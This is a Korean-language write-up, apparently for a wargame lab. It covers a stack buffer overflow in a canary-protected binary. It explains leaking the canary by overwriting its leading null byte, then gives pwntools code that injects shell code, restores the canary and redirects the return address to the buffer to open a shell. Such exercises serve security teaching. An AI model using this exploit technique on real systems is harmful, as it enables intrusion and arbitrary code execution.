checksec 툴을 이용하여 적용된 보호기법을 파악할 수 있다.
카나리 보호기법이 적용되어 있는것을 확인할 수 있다.
1. buf의 주소
이 예제에서는
buf
의 주소,rbp
와buf
의 주소 차이를 알려준다.printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf);
2. 스택 버퍼 오버플로우
buf
에 두 번의 입력을 받는데, 두 번 다 오버플로우가 발생한다.char buf[0x50]; read(0, buf, 0x100); // 0x50 < 0x100 gets(buf); // Unsafe function
1. 카나리 우회
첫 번째 입력에서 카나리를 구하고, 이를 두번째 입력에 사용한다.
첫 번째 입력의 바로 뒤에서buf
를 문자열로 출력해주므로, 적절히 오버플로우를 발생시키면
카나리 값을 구할 수 있다.2. 셸 획득
c 파일 내부에 셸을 획득하는 적절한 함수가 없으므로, 셸 코드를 직접 주입해야 한다.
p.recvuntil(b"buf: ") buf = int(p.recvline()[:-1], 16) slog("Address of buf", buf) p.recvuntil(b"$rbp: ") buf2sfp = int(p.recvline().split()[0]) buf2cnry = buf2sfp - 8 slog("buf <=> sfp", buf2sfp) slog("buf <=> canary", buf2cnry)
카나리의 첫 부분에 널 포인터가 들어가므로,
이 널 포인터를 덮어주면 카나리 부분까지 문자열로 인식하게 된다.
따라서 buf2cnry+1 만큼을 Input: 에 넣어준다.payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte p.sendafter(b"Input:", payload) p.recvuntil(payload) cnry = u64(b"\x00"+p.recvn(7)) slog("Canary", cnry)
이제 버퍼에 셸 코드+아무문자+카나리값을 넣고, 반환 주소를 버퍼로 지정하면 된다.
sh = asm(shellcraft.sh()) payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf) # gets() receives input until "\n" is received p.sendlineafter(b"Input:", payload) p.interactive()